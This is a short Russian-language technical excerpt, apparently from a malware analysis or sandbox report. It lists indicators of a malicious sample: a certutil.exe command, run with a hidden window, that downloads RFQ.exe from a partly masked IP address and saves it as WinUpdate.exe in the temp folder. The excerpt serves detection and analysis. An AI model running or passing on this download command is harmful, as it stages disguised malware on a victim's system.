Техническая информация
- '<SYSTEM32>\certutil.exe' -urlcache -split -f http://19#.#.194.246/RFQ.exe %TEMP%\WinUpdate.exe
- '19#.#.194.246':80
- '<SYSTEM32>\certutil.exe' -urlcache -split -f http://19#.#.194.246/RFQ.exe %TEMP%\WinUpdate.exe' (со скрытым окном)